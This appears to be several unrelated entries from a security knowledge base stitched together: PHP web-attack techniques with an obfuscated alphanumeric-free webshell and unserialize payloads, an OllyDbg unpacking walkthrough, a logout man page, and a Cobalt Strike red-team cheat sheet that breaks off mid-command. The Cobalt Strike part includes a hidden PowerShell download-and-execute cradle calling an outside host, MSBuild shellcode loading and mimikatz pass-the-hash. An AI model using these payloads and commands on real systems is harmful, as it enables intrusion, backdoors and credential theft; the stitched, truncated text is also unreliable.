`Content-Type` 检测文件类型 抓包修改 `Content-Type` 类型,使其符合白名单规则。 - 服务端添加后缀 尝试 `%00` 截断。 - 服务端扩展名检测 利用解析漏洞。 - Apache 解析 Apache 对后缀解析是从右向左的 `phpshell.php.rar.rar.rar.rar` 因为 Apache 不认识 `.rar` 这个文件类型,所以会一直遍历后缀到 `.php`,然后认为这是一个 PHP 文件。 - IIS 解析 IIS 6 下当文件名为 `abc.asp;xx.jpg` 时,会将其解析为 `abc.asp`。 - PHP CGI 路径解析 当访问 `http://www.a.com/path/test.jpg/notexist.php` 时,会将 `test.jpg` 当做 PHP 解析, `notexist.php` 是不存在的文件。此时 Nginx 的配置如下 ```nginx location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_param; } ``` - 其他方式 后缀大小写、双写、特殊后缀如 `php5` 等,修改包内容的大小写过 WAF 等。 ## 变量覆盖 ### 全局变量覆盖 变量如果未被初始化,且能够被用户所控制,那么很可能会导致安全问题。 ```ini register_globals=ON ``` 示例 ```php <?php echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>"; if ($auth) { echo "private!"; } ?> ``` 当 `register_globals=ON` 时,提交 `test.php?auth=1`,`auth` 变量将自动得到赋值。 ### `extract()` 变量覆盖 `extract()` 函数能够将变量从数组导入到当前的符号表,其定义为 ``` int extract ( array $var_array [, int $extract_type [, string $prefix ]] ) ``` 其中,第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是 `EXTR_OVERWRITE` 和 `EXTR_SKIP`。 当值为 `EXTR_OVERWRITE` 时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量;值为 `EXTR_SKIP` 则表示跳过不覆盖。若第二个参数未指定,则在默认情况下使用 `EXTR_OVERWRITE`。 ```php <?php $auth = "0"; extract($_GET); if ($auth == 1) { echo "private!"; } else { echo "public!"; } ?> ``` 当 `extract()` 函数从用户可以控制的数组中导出变量时,可能发生变量覆盖。 ### `import_request_variables` 变量覆盖 ``` bool import_request_variables (string $types [, string $prefix]) ``` `import_request_variables` 将 GET、POST、Cookies 中的变量导入到全局,使用这个函数只用简单地指定类型即可。 ```php <?php $auth = "0"; import_request_variables("G"); if ($auth == 1) { echo "private!"; } else { echo "public!"; } ?> ``` `import_request_variables("G")` 指定导入 GET 请求中的变量,提交 `test.php?auth=1` 出现变量覆盖。 ### `parse_str()` 变量覆盖 ``` void parse_str ( string $str [, array &$arr ]) ``` `parse_str()` 函数通常用于解析 URL 中的 querystring,但是当参数值可以被用户控制时,很可能导致变量覆盖。 ```php // var.php?var=new 变量覆盖 $var = "init"; parse_str($_SERVER["QUERY_STRING"]); print $var; ``` 与 `parse_str()` 类似的函数还有 `mb_parse_str()`。 ## 命令执行 ### 直接执行代码 PHP 中有不少可以直接执行代码的函数。 ```php eval(); assert(); system(); exec(); shell_exec(); passthru(); escapeshellcmd(); pcntl_exec(); ...... ``` ### `preg_replace()` 代码执行 `preg_replace()` 的第一个参数如果存在 `/e` 模式修饰符,则允许代码执行。 ```php <?php $var = "<tag>phpinfo()</tag>"; preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var); ?> ``` 如果没有 `/e` 修饰符,可以尝试 %00 截断。 ### `preg_match` 代码执行 `preg_match` 执行的是匹配正则表达式,如果匹配成功,则允许代码执行。 ``` <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> ``` 这道题是 `xman` 训练赛的时候,梅子酒师傅出的一道题。这一串代码描述是这样子,我们要绕过 `A-Z`、`a-z`、`0-9` 这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 `a-z` 中任意一个字符,并且字符串长度小于 `40` 。然后再利用 `PHP` 允许动态函数执行的特点,拼接出一个函数名,这里我们是 `getFlag`,然后动态执行该代码即可。 那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到 `getFlag` 函数,然后拿到 `webshell` 。 在理解这个之前,我们首先需要大家了解的是 `PHP` 中异或 `^` 的概念。 我们先看一下下面这段代码: ``` <?php echo "A"^"?"; ?> ``` 运行结果如下: 我们可以看到,输出的结果是字符 `~`。之所以会得到这样的结果,是因为代码中对字符 `A` 和字符 `?` 进行了异或操作。在 `PHP` 中,两个变量进行异或时,先会将字符串转换成 `ASCII` 值,再将 `ASCII` 值转换成二进制再进行异或,异或完,又将结果从二进制转换成了 `ASCII` 值,再将 `ASCII` 值转换成字符串。异或操作有时也被用来交换两个变量的值。 比如像上面这个例子 `A` 的 `ASCII` 值是 `65` ,对应的二进制值是 `01000001` `?` 的ASCII值是 `63` ,对应的二进制值是 `00111111` 异或的二进制的值是 `‭01111110‬` ,对应的 `ASCII` 值是 `126` ,对应的字符串的值就是 `~` 了 我们都知道, `PHP` 是弱类型的语言,也就是说在 `PHP` 中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于 `PHP` 弱类型的这个特点,我们对 `PHP` 的变量类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码: ``` <?php function B(){ echo "Hello Angel_Kitty"; } $_++; $__= "?" ^ "}"; $__(); ?> ``` 代码执行结果如下: 我们一起来分析一下上面这段代码: 1、`$_++; ` 这行代码的意思是对变量名为 `"_"` 的变量进行自增操作,在 `PHP` 中未定义的变量默认值 `null` ,`null==false==0` ,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 2、`$__="?" ^ "}"; ` 对字符 `?` 和 `}` 进行异或运算,得到结果 `B` 赋给变量名为 `__` (两个下划线)的变量 3、`$ __ (); ` 通过上面的赋值操作,变量 `$__` 的值为 `B` ,所以这行可以看作是 `B()` ,在 `PHP` 中,这行代码表示调用函数 `B` ,所以执行结果为 `Hello Angel_Kitty` 。在 `PHP` 中,我们可以将字符串当作函数来处理。 看到这里,相信大家如果再看到类似的 `PHP` 后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。 我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如 `_POST` , `system` , `call_user_func_array `,或者是任何我们需要的东西。 下面是个非常简单的非数字字母的 `PHP` 后门: ``` <?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?> ``` 在这里我说明下, `.=` 是字符串的连接,具体参看 `PHP` 语法 我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下: ``` $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); ``` 我们回到 `xman` 训练赛的那题来看,我们的想法是通过构造异或来去绕过那串字符,那么我们该如何构造这个字串使得长度小于 `40` 呢? 我们最终是要读取到那个 `getFlag` 函数,我们需要构造一个 `_GET` 来去读取这个函数,我们最终构造了如下字符串: 可能很多小伙伴看到这里仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析。 #### 构造 `_GET` 读取 首先我们得知道 `_GET` 由什么异或而来的,经过我的尝试与分析,我得出了下面的结论: ``` <?php echo "`{{{"^"?<>/";//_GET ?> ``` 这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。 这里可以使用php中可以执行命令的反引号 `` ` `` 和 `Linux` 下面的通配符 `?` - `?` 代表匹配一个字符 - `` ` 表示执行命令 - `" ` 对特殊字符串进行解析 由于 `?` 只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看: ``` <?php echo "{"^"<"; ?> ``` 输出结果为: ``` <?php echo "{"^">"; ?> ``` 输出结果为: ``` <?php echo "{"^"/"; ?> ``` 输出结果为: 所以我们可以知道, `_GET` 就是这么被构造出来的啦! #### 获取 `_GET` 参数 我们又该如何获取 `_GET` 参数呢?咱们可以构造出如下字串: ``` <?php echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]) ?> ``` 根据前面构造的来看, `$_` 已经变成了 `_GET` 。顺理成章的来讲, `$_ = _GET` 。我们构建 `$_GET[__]` 是为了要获取参数值。 #### 传入参数 此时我们只需要去调用 `getFlag` 函数获取 `webshell` 就好了,构造如下: ``` <?php echo $_=getFlag;//getFlag ?> ``` 所以把参数全部连接起来,就可以了。 结果如下: 于是我们就成功地读取到了flag! ### 动态函数执行 用户自定义的函数可以导致代码执行。 ```php <?php $dyn_func = $_GET["dyn_func"]; $argument = $_GET["argument"]; $dyn_func($argument); ?> ``` ### 反引号命令执行 ```php <?php echo `ls -al`; ?> ``` ### Curly Syntax PHP 的 Curly Syntax 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去。 ```php <?php $var = "aaabbbccc ${`ls`}"; ?> ``` ```php <?php $foobar = "phpinfo"; ${"foobar"}(); ?> ``` ### 回调函数 很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。 ```php <?php $evil_callback = $_GET["callback"]; $some_array = array(0,1,2,3); $new_array = array_map($evil_callback, $some_array); ?> ``` 攻击 payload ``` http://www.a.com/index.php?callback=phpinfo ``` ### 反序列化 如果 `unserialize()` 在执行时定义了 `__destruct()` 或 `__wakeup()` 函数,则有可能导致代码执行。 ```php <?php class Example { var $var = ""; function __destruct() { eval($this->var); } } unserialize($_GET["saved_code"]); ?> ``` 攻击 payload ``` http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";} ``` ## PHP 特性 ### 数组 ```php <?php $var = 1; $var = array(); $var = "string"; ?> ``` php 不会严格检验传入的变量类型,也可以将变量自由的转换类型。 比如在 `$a == $b` 的比较中 ```php $a = null; $b = false; //为真 $a = ''; $b = 0; //同样为真 ``` 然而,PHP 内核的开发者原本是想让程序员借由这种不需要声明的体系,更加高效的开发,所以在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。 ```php 0=='0' //true 0 == 'abcdefg' //true 0 === 'abcdefg' //false 1 == '1abcdef' //true ``` ### 魔法 Hash ```php "0e132456789"=="0e7124511451155" //true "0e123456abc"=="0e1dddada" //false "0e1abc"=="0" //true ``` 在进行比较运算时,如果遇到了 `0e\d+` 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。如果不满足 `0e\d+` 这种模式就不会相等。 ### 十六进制转换 ```php "0x1e240"=="123456" //true "0x1e240"==123456 //true "0x1e240"=="1e240" //false ``` 当其中的一个字符串是 `0x` 开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,`0x1240` 解析成为十进制就是 123456,所以与 `int` 类型和 `string` 类型的 123456 比较都是相等。 ### 类型转换 常见的转换主要就是 `int` 转换为 `string`,`string` 转换为 `int`。 `int` 转 `string` ```php $var = 5; 方式1:$item = (string)$var; 方式2:$item = strval($var); ``` `string` 转 `int`:`intval()` 函数。 对于这个函数,可以先看 2 个例子。 ```php var_dump(intval('2')) //2 var_dump(intval('3abcd')) //3 var_dump(intval('abcd')) //0 ``` 说明 `intval()` 转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串, `intval()` 不会报错而是返回 0。 同时,程序员在编程的时候也不应该使用如下的这段代码: ```php if(intval($a)>1000) { mysql_query("select * from news where id=".$a) } ``` 这个时候 `$a` 的值有可能是 `1002 union`。 ### 内置函数的参数的松散性 内置函数的松散性说的是,调用函数时给函数传递函数无法接受的参数类型。解释起来有点拗口,还是直接通过实际的例子来说明问题,下面会重点介绍几个这种函数。 **md5()** ```php $array1[] = array( "foo" => "bar", "bar" => "foo", ); $array2 = array("foo", "bar", "hello", "world"); var_dump(md5($array1)==md5($array2)); //true ``` PHP 手册中的 md5()函数的描述是 `string md5 ( string $str [, bool $raw_output = false ] )`,`md5()` 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,`md5()` 不会报错,只是会无法正确地求出 array 的 md5 值,这样就会导致任意 2 个 array 的 md5 值都会相等。 **strcmp()** `strcmp()` 函数在 PHP 官方手册中的描述是 `intstrcmp ( string $str1 , string $str2 )`,需要给 `strcmp()` 传递 2 个 `string` 类型的参数。如果 `str1` 小于 `str2`,返回 -1,相等返回 0,否则返回 1。`strcmp()` 函数比较字符串的本质是将两个变量转换为 ASCII,然后进行减法运算,然后根据运算结果来决定返回值。 如果传入给出 `strcmp()` 的参数是数字呢? ```php $array=[1,2,3]; var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。 ``` **switch()** 如果 `switch()` 是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下: ```php $i ="2abc"; switch ($i) { case 0: case 1: case 2: echo "i is less than 3 but not negative"; break; case 3: echo "i is 3"; } ``` 这个时候程序输出的是 `i is less than 3 but not negative` ,是由于 `switch()` 函数将 `$i` 进行了类型转换,转换结果为 2。 **in_array()** 在 PHP 手册中, `in_array()` 函数的解释是 `bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )` ,如果strict参数没有提供,那么 `in_array` 就会使用松散比较来判断 `$needle` 是否在 `$haystack` 中。当 strict 的值为 true 时, `in_array()` 会比较 needls 的类型和 haystack 中的类型是否相同。 ```php $array=[0,1,2,'3']; var_dump(in_array('abc', $array)); //true var_dump(in_array('1bc', $array)); //true ``` 可以看到上面的情况返回的都是 true,因为 `'abc'` 会转换为 0, `'1bc'` 转换为 1。 `array_search()` 与 `in_array()` 也是一样的问题。 ## 寻找源代码备份 ### hg 源码泄露 `hg init` 时会产生 `.hg` 文件。 [利用工具 dvcs-ripper](https://github.com/kost/dvcs-ripper) ### Git 源码泄露 `.git` 目录内有代码的变更记录等文件,如果部署时该目录下的文件可被访问,可能会被利用来恢复源代码。 ``` /.git /.git/HEAD /.git/index /.git/config /.git/description ``` [GitHack](https://github.com/lijiejie/GitHack) ```shell python GitHack.py http://www.openssl.org/.git/ ``` [GitHacker(可恢复完整 Git 仓库)](https://github.com/WangYihang/GitHacker) ```shell python GitHacker.py http://www.openssl.org/.git/ ``` ### `.DS_Store` 文件泄露 Mac OS 中会包含有 `.DS_Store` 文件,包含文件名等信息。 [利用工具 ds\_store\_exp](https://github.com/lijiejie/ds_store_exp) ```shell python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store hd.zj.qq.com/ └── themes └── galaxyw ├── app │ └── css │ └── style.min.css ├── cityData.min.js ├── images │ └── img │ ├── bg-hd.png │ ├── bg-item-activity.png │ ├── bg-masker-pop.png │ ├── btn-bm.png │ ├── btn-login-qq.png │ ├── btn-login-wx.png │ ├── ico-add-pic.png │ ├── ico-address.png │ ├── ico-bm.png │ ├── ico-duration-time.png │ ├── ico-pop-close.png │ ├── ico-right-top-delete.png │ ├── page-login-hd.png │ ├── pic-masker.png │ └── ticket-selected.png └── member ├── assets │ ├── css │ │ ├── ace-reset.css │ │ └── antd.css │ └── lib │ ├── cityData.min.js │ └── ueditor │ ├── index.html │ ├── lang │ │ └── zh-cn │ │ ├── images │ │ │ ├── copy.png │ │ │ ├── localimage.png │ │ │ ├── music.png │ │ │ └── upload.png │ │ └── zh-cn.js │ ├── php │ │ ├── action_crawler.php │ │ ├── action_list.php │ │ ├── action_upload.php │ │ ├── config.json │ │ ├── controller.php │ │ └── Uploader.class.php │ ├── ueditor.all.js │ ├── ueditor.all.min.js │ ├── ueditor.config.js │ ├── ueditor.parse.js │ └── ueditor.parse.min.js └── static ├── css │ └── page.css ├── img │ ├── bg-table-title.png │ ├── bg-tab-say.png │ ├── ico-black-disabled.png │ ├── ico-black-enabled.png │ ├── ico-coorption-person.png │ ├── ico-miss-person.png │ ├── ico-mr-person.png │ ├── ico-white-disabled.png │ └── ico-white-enabled.png └── scripts ├── js └── lib └── jquery.min.js 21 directories, 48 files ``` ### 网站备份文件 管理员备份网站文件后错误地将备份放在 Web 目录下。 常见的后缀名: ``` .rar .zip .7z .tar .tar.gz .bak .txt ``` ### SVN 泄露 敏感文件: ``` /.svn /.svn/wc.db /.svn/entries ``` [dvcs-ripper](https://github.com/kost/dvcs-ripper) ```shell perl rip-svn.pl -v -u http://www.example.com/.svn/ ``` [Seay - SVN](http://tools.40huo.cn/#!web.md#源码泄露) ### WEB-INF / web.xml 泄露 WEB-INF 是 Java Web 应用的安全目录,web.xml 中有文件的映射关系。 WEB-INF 主要包含以下文件或目录: - `/WEB-INF/web.xml` :Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 - `/WEB-INF/classes/` :包含站点所有用到的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在 jar 文件中。 - `/WEB-INF/lib/` :存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件,如数据库驱动 jar 文件。 - `/WEB-INF/src/` :源码目录,按照包名结构放置各个 java 文件。 - `/WEB-INF/database.properties` :数据库配置文件。 通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。 一般情况,jsp 引擎默认都是禁止访问 WEB-INF 目录的,Nginx 配合 Tomcat 做均衡负载或集群等情况时,问题原因其实很简单,Nginx 不会去考虑配置其他类型引擎(Nginx 不是 jsp 引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改 Nginx 配置文件禁止访问 WEB-INF 目录就好了: ```nginx location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他! ``` ### CVS 泄露 ``` http://url/CVS/Root 返回根信息 http://url/CVS/Entries 返回所有文件的结构 ``` 取回源码 ```shell bk clone http://url/name dir ``` ### 参考文献 - [记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)](https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html)
sec-knowleage
# 内存镜像法 内存镜像法是在加壳程序被加载时, 通过OD的`ALT+M`快捷键, 进入到程序虚拟内存区段. 然后通过加两次内存一次性断点, 到达程序正确OEP的位置. 内存镜像法的原理在于对于程序资源段和代码段下断点, 一般程序自解压或者自解密时, 会首先访问资源段获取所需资源, 然后在自动脱壳完成后, 转回程序代码段. 这时候下内存一次性断点, 程序就会停在OEP处. ## 要点 1. 选择菜单的`选项->调试选项->异常` 2. 勾选所有的忽略异常 3. 按下`ALT+M`, 打开内存镜像, 找到程序的第一个`.rsrc`, 按F2下断点, 然后按`SHIFT+F9`运行到断点 4. 再按`ALT+M`, 打开内存镜像, 找到程序的第一个`.rsrc`上面的`.text`(在示例中是`00401000`处), 按F2下断点. 然后按`SHIFT+F9`(或者是在没异常情况下按F9) ## 示例 示例程序可以点击此处下载: [4_memory.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/4_memory.zip) OD载入程序, 在菜单栏的`选项->调试设置->异常标签页`中勾选所有的忽略异常 按下`Alt+M`打开内存镜像, 找到资源段, 也就是`地址=00407000`, `大小=00005000`的`.rsrc`段, 选中F2下断 回到CPU窗口, 按下F9运行, 程序断在了`0040D75F`处 再次按下`Alt+M`打开内存镜像, 对`.text`代码段下断 再继续运行, 程序断在了`004010CC`处, 也就是OEP
sec-knowleage
logout === 退出当前登录的Shell ## 补充说明 **logout命令** 用于退出当前登录的Shell,logout指令让用户退出系统,其功能和login指令相互对应。 ### 语法 ```shell logout ```
sec-knowleage
# Cobalt Strike > Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity. ```powershell $ sudo apt-get update $ sudo apt-get install openjdk-11-jdk $ sudo apt install proxychains socat $ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64 $ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile] $ ./cobaltstrike $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))" ``` ## Summary * [Infrastructure](#infrastructure) * [Redirectors](#redirectors) * [Domain fronting](#domain-fronting) * [OpSec](#opsec) * [Customer ID](#customer-id) * [Payloads](#payloads) * [DNS Beacon](#dns-beacon) * [SMB Beacon](#smb-beacon) * [Metasploit compatibility](#metasploit-compatibility) * [Custom Payloads](#custom-payloads) * [Malleable C2](#malleable-c2) * [Files](#files) * [Powershell and .NET](#powershell-and-net) * [Powershell commabds](#powershell-commands) * [.NET remote execution](#net-remote-execution) * [Lateral Movement](#lateral-movement) * [VPN & Pivots](#vpn--pivots) * [Kits](#kits) * [Elevate Kit](#elevate-kit) * [Persistence Kit](#persistence-kit) * [Resource Kit](#resource-kit) * [Artifact Kit](#artifact-kit) * [Mimikatz Kit](#mimikatz-kit) * [Sleep Mask Kit](#sleep-mask-kit) * [Thread Stack Spoofer](#thread-stack-spoofer) * [Beacon Object Files](#beacon-object-files) * [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike) * [References](#references) ## Infrastructure ### Redirectors ```powershell sudo apt install socat socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80 ``` ### Domain Fronting * New Listener > HTTP Host Header * Choose a domain in "Finance & Healthcare" sector ## OpSec **Don't** * Use default self-signed HTTPS certificate * Use default port (50050) * Use 0.0.0.0 DNS response * Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D` **Do** * Use a redirector (Apache, CDN, ...) * Firewall to only accept HTTP/S from the redirectors * Firewall 50050 and access via SSH tunnel * Edit default HTTP 404 page and Content type: text/plain * No staging `set hosts_stage` to `false` in Malleable C2 * Use Malleable Profile to taylor your attack to specific actors ### Customer ID > The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike. * The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later. * The trial has a Customer ID value of 0. * Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool ## Payloads ### DNS Beacon * Edit the Zone File for the domain * Create an A record for Cobalt Strike system * Create an NS record that points to FQDN of your Cobalt Strike system Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record. * nslookup jibberish.beacon polling.campaigns.domain.com * nslookup jibberish.beacon campaigns.domain.com Example of DNS on Digital Ocean: ```powershell NS example.com directs to 10.10.10.10. 86400 NS polling.campaigns.example.com directs to campaigns.example.com. 3600 A campaigns.example.com directs to 10.10.10.10 3600 ``` ```powershell systemctl disable systemd-resolved systemctl stop systemd-resolved rm /etc/resolv.conf echo "nameserver 8.8.8.8" > /etc/resolv.conf echo "nameserver 8.8.4.4" >> /etc/resolv.conf ``` Configuration: 1. **host**: campaigns.domain.com 2. **beacon**: polling.campaigns.domain.com 3. Interact with a beacon, and `sleep 0` ### SMB Beacon ```powershell link [host] [pipename] connect [host] [port] unlink [host] [PID] jump [exec] [host] [pipe] ``` SMB Beacon uses Named Pipes. You might encounter these error code while running it. | Error Code | Meaning | Description | |------------|----------------------|----------------------------------------------------| | 2 | File Not Found | There is no beacon for you to link to | | 5 | Access is denied | Invalid credentials or you don't have permission | | 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. | ### SSH Beacon ```powershell # deploy a beacon beacon> help ssh Use: ssh [target:port] [user] [pass] Spawn an SSH client and attempt to login to the specified target beacon> help ssh-key Use: ssh [target:port] [user] [/path/to/key.pem] Spawn an SSH client and attempt to login to the specified target # beacon's commands upload Upload a file download Download a file socks Start SOCKS4a server to relay traffic sudo Run a command via sudo rportfwd Setup a reverse port forward shell Execute a command via the shell ``` ### Metasploit compatibility * Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https * Set LHOST and LPORT to the beacon * Set DisablePayloadHandler to True * Set PrependMigrate to True * exploit -j ### Custom Payloads https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c ```powershell * Attacks > Packages > Payload Generator * Attacks > Packages > Scripted Web Delivery (S) $ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor $ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml $ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml ``` ## Malleable C2 List of Malleable Profiles hosted on Github * Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles * Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2 * Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles * SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint Example of syntax ```powershell set useragent "SOME AGENT"; # GOOD set useragent 'SOME AGENT'; # BAD prepend "This is an example;"; # Escape Double quotes append "here is \"some\" stuff"; # Escape Backslashes append "more \\ stuff"; # Some special characters do not need escaping prepend "!@#$%^&*()"; ``` Check a profile with `./c2lint`. * A result of 0 is returned if c2lint completes with no errors * A result of 1 is returned if c2lint completes with only warnings * A result of 2 is returned if c2lint completes with only errors * A result of 3 is returned if c2lint completes with both errors and warning ## Files ```powershell # List the file on the specified directory beacon > ls <C:\Path> # Change into the specified working directory beacon > cd [directory] # Delete a file\folder beacon > rm [file\folder] # File copy beacon > cp [src] [dest] # Download a file from the path on the Beacon host beacon > download [C:\filePath] # Lists downloads in progress beacon > downloads # Cancel a download currently in progress beacon > cancel [*file*] # Upload a file from the attacker to the current Beacon host beacon > upload [/path/to/file] ``` ## Powershell and .NET ### Powershell commands ```powershell # Import a Powershell .ps1 script from the control server and save it in memory in Beacon beacon > powershell-import [/path/to/script.ps1] # Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned. beacon > powershell [commandlet][arguments] # Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto beacon > powerpick [commandlet] [argument] # Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs beacon > psinject [pid][arch] [commandlet] [arguments] ``` ### .NET remote execution Run a local .NET executable as a Beacon post-exploitation job. Require: * Binaries compiled with the "Any CPU" configuration. ```powershell beacon > execute-assembly [/path/to/script.exe] [arguments] beacon > execute-assembly /home/audit/Rubeus.exe [*] Tasked beacon to run .NET program: Rubeus.exe [+] host called home, sent: 318507 bytes [+] received output: ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 ``` ## Lateral Movement :warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe - **portscan:** Performs a portscan on a specific target. - **runas:** A wrapper of runas.exe, using credentials you can run a command as another user. - **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \ :exclamation: This module needs Administrator privileges. - **steal_token:** Steal a token from a specified process. - **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user. - **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \ :exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \ :muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network. - **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \ :exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target. - **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts. :warning: All the commands launch powershell.exe ```powershell Beacon Remote Exploits ====================== jump [module] [target] [listener] psexec x86 Use a service to run a Service EXE artifact psexec64 x64 Use a service to run a Service EXE artifact psexec_psh x86 Use a service to run a PowerShell one-liner winrm x86 Run a PowerShell script via WinRM winrm64 x64 Run a PowerShell script via WinRM Beacon Remote Execute Methods ============================= remote-exec [module] [target] [command] Methods Description ------- ----------- psexec Remote execute via Service Control Manager winrm Remote execute via WinRM (PowerShell) wmi Remote execute via WMI (PowerShell) ``` Opsec safe Pass-the-Hash: 1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"` 2. `steal_token PID` ### Assume Control of Artifact * Use `link` to connect to SMB Beacon * Use `connect` to connect to TCP Beacon ## VPN & Pivots :warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy. > Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second. ```powershell # Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage. beacon > socks [PORT] beacon > socks [port] beacon > socks [port] [socks4] beacon > socks [port] [socks5] beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] [enableLogging|disableLogging] # Proxy browser traffic through a specified Internet Explorer process. beacon > browserpivot [pid] [x86|x64] # Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port. beacon > rportfwd [bind port] [forward host] [forward port] # spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn. msfvenom -p 